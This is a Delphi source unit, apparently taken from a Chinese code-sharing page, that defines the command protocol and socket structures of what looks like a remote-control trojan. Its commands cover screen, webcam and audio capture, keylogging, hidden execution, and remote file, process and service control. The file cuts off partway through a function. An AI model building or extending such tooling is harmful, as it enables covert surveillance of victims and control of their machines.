📄 publicfunctionunit.pas
字号:
unit PublicFunctionUnit;
interface
uses
Windows, Messages, WinSock2, Classes, Controls,
SysUtils, mssock, forms, lzo, MxZLib, untTQQWry;
const
//命令类型
CapScreen = 2000;
CapVideo = 2001;
CapAudio = 2002;
GetSystemInfo = 2003;
TransmitFiles = 2004;
//文件操作
CMDDeleteFile = 3001;
CMDMakeDir = 3002;
CMDPeastFile = 3003;
CMDCopyFile = 3004;
CMDRenameFile = 3005;
CMDSendFileList = 3006;
CMDCutFile = 3007;
//主机信息
CMDGetSystemInfo = 3010;
//进程操作
CMDGetProcessList = 3020;
CMDKillProcess = 3021;
//窗口操作
CMDGetWindowList = 3030;
CMDKillWindow = 3031;
CMDBringWindowFront = 3032;
CMDHideWindow = 3033;
CMDShowWindow = 3034;
CMDMaxWindow = 3035;
CMDMinWindow = 3036;
CMDResoreWindow = 3037;
CMDSendChar = 3038;
CMDSendCharEnter = 3038;
CMDSendCharEnterCtrl = 3039;
//服务操作
CMDGetServcieList = 3040;
CMDStartService = 3041;
CMDStopService = 3042;
CMDDeleteWin32Service = 3043;
CMDPauseService = 3044;
CMDContinueService = 3045;
CMDSetAutoStartType = 3046;
CMDSetManualStartType = 3047;
CMDSetDisableStartType= 3048;
CMDAddWin32Service = 3049;
//键盘
CMDGetKeyRecord = 3060;
//运行方式
CMDRunNormal = 3070;
CMDRunHide = 3071;
CMDPMRunWithParam = 3072;
//文件传输控制命令
RecvFile = 4000;
SendFile = 4001;
CreateDir = 4002;
SendDirFileList = 4003;
//视频控制命令
StartCapVideo = 5000;
ChangeCmpedRate = 5001;
ChangeFPS = 5002;
ChangeVideoSize = 5003;
ChangeDriverIndex = 5004;
GetDriverList = 5005;
//屏传控制
SetPixel1 = 1; SetPixel4 = 4;
SetPixel8 = 8;
SetPixel16 = 16;
SetPixel24 = 24;
GetSinglePic = 64;
//命令回复数据标志
NOCMDReplay = 0;
VideoReplay = 10001;
VideoStartErrorReplay = 10002;
VideoStartSucessReplay = 10003;
VideoDESCRIPListReplay = 10004;
VideoCodeIniErrorReplay = 10005; //编码初始化错误
VideoSendBitmapInfoReplay = 10006; //发送编码图像头
//文件数据标志
TransmitFileData = 10020;
FileOpenEror = 10021;
NothingNeedTransmit = 10022;
CreateMapViewError = 10023;
MapViewError = 10024;
const
MAX_BUFSIZE = 4096;
type
TDriverDescriptionArray = array[0..14] of Char;type ESocketError = class(Exception); TOperRationType=(IO_ACCEPT, IO_READ, IO_WRITE, IO_END, IO_NOTHING); TIocpCompleteState = (IOCP_COMPLETE_READ, IOCP_COMPLETE_ACCEPT_READ, IOCP_COMPLETE_WRITE, IOCP_COMPLETE_ACCEPT); TCommandType = (CMD_SENDCTRL, CMD_SENDMOUSE_KEY_CTRL, CMD_SEND_OTHERCTRL, CMD_SEND_NOTHING); //记录鼠标和键盘动作的结构 TKeyAndCursorData = packed record
HeadTag : Byte;
WMtpye : LongWord;
MouseX : integer;
MouseY : integer;
end; //每个完整数据的头描述 TDataHeaderInfo = packed record UnCompressedDataSize : DWord;
CompressedDataSize : DWord;
DataType : DWORD; //描述数据是命令回复的数据还是流数据
end; //命令命令对象 TOrderObject = (MainSocketData, RemoteScreenData, RemoteVideoData, RemoteAudioData,
GetSystemInfoData, RemoteFileData); //交互的命令格式--详细描述见文件开始 TInterChangeHeader = packed record
OrderObject : DWORD;
Order : DWORD;
OrderExtend : DWORD;
ExdSource : DWORD;
ExdDest : DWORD;
end;
//与每一个的主socket对应的结构,用来保存实例对象指针
pAllCtrlInstanceStructure = ^TAllCtrlInstanceStructure;
TAllCtrlInstanceStructure = packed record
CapScreenInstance : DWORD;
CapVideoInstance : DWORD;
CapAudioInstance : DWORD;
GetSystemInfoInstance : DWORD;
TransmitFilesInstance : DWORD;
end; //系统信息 TRemoteSystemInfo = packed record LocalIPaddressString : array[0..14] of Char;//ip内网地址 ServerIconIndex : Byte; //socket在liestview里面的头像编号
ServerVersion : array[0..15] of Char; //远程主机的服务端版本号
CurrentUserName : array[0..150] of Char; //远程主机的用户名
SystemVersion : TOSVersionInfo; //远程主机的操作系统类型 UseSelfDefine : array[0..150] of Char; //备注 WebCamCount : Byte; //摄像头数量 RemoteDataType : TOrderObject; //标识对象数据类型 PerIODataPointer : DWORD; //指向一个单io数据的指针,记录server发来的单io的指针 end; //粘包处理的 pRemoteDataInfo = ^TRemoteDataInfo;
TRemoteDataInfo = packed record
DataHeaderInfo : TDataHeaderInfo; //数据头
FilledDataLength : DWORD; //写入的数据的长度
end; //用于存放数据包头的前部分未完整包 ptmpBuf = ^TtmpBuf;
TtmpBuf = packed record
tmpBuf : array [0..sizeof(TDataHeaderInfo) - 1] of Char;
tmpDataSize : integer; //记录临时缓冲区里面的数据的大小
end; //单IO数据结构 PPerHandleData = ^TPerHandleData; { Helper record used to hold overlapped data } TPerHandleData = packed record Overlapped : OVERLAPPED; ptrBuffer : PWSABUF; Socket : TSocket; Buffer: array [0..MAX_BUFSIZE - 1] of Char; operType : TOperRationType; //IO操作类型 sendCMDtype : TCommandType; //发送的数据类型 ExternalIPaddressString : array[0..14] of Char;//ip地址 RemoteDataInfo : TRemoteDataInfo;//粘包处理用 RemoteSystemInfo : TRemoteSystemInfo;//记录远程主机信息等用 //保存屏传等等的实例指针,在主socket里面记录各个子功能类句柄的 AllCtrlInstance : TAllCtrlInstanceStructure; IsInformed : Boolean; //是否填充过远程主机信息 IsAlive : Boolean; //主机是否还活着,心跳检测用 IsUsed : Boolean; //主机来的数据是不是还在用 end; //socket记录结构体
TSocketRecord = packed record
Socket : TSocket;
Ip : string;
Address : string;
ChangeSocketSemaphore : TRTLCriticalSection; //Socket变更控制的临界区
end;
//iocp用的内存分配等函数
procedure MakeOverlappedPlus(var op: PPerHandleData; ioType: TOperRationType);
procedure FreeOverlappedPlus(var op: PPerHandleData); procedure InitIoContext(ovlap_prt : PPerHandleData; const BufLen : integer = MAX_BUFSIZE);
//得到主机位置
function GetRemoteAddress(const IP : string) : string;
//发送命令
procedure SetCmdSignByte(OperatingSocket : TSocket; CMDHeader : TInterChangeHeader;
const IsScreenOrder : Boolean = True; const FileName : string = '');
//发送鼠标和键盘控制procedure SetCtrlStructure(OperatingSocket: TSocket; KeyAndCursorData : TKeyAndCursorData; var CtrlPerHandleData : PPerHandleData); //简单的内存池实现--获取内存
procedure GetMyMem(const Size : DWORD; var P : Pointer; const Pool : array of Char);//简单的内存池实现--释放内存procedure FreeMyMem(var P : Pointer; const Pool : array of Char);
//实例化类内回调函数
function MakeProcInstance(M: TMethod): Pointer;
procedure FreeProcInstance(ProcInstance: Pointer);
Function FileTimeToDateTime(FileTime : TFileTime) : TDateTime;
//得到文件的大小
function GetFileSize(const FileName : string) : LongInt;
implementation
//创建一个重叠结构
procedure MakeOverlappedPlus(var op: PPerHandleData; ioType: TOperRationType);
begin
New(op);
FillChar(op^, SizeOf(TPerHandleData), 0);
op^.operType := ioType;
//设置为在线
op^.IsAlive := True;
//设置为在用
op^.IsUsed := True;
op^.sendCMDtype := CMD_SEND_NOTHING;
New(op^.ptrBuffer);
op^.ptrBuffer^.buf := @op^.Buffer[0];
op^.ptrBuffer^.len := MAX_BUFSIZE;
op^.Socket := INVALID_SOCKET;
end;
//释放单I/O数据内存
procedure FreeOverlappedPlus(var op: PPerHandleData);
begin
if op <> nil then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -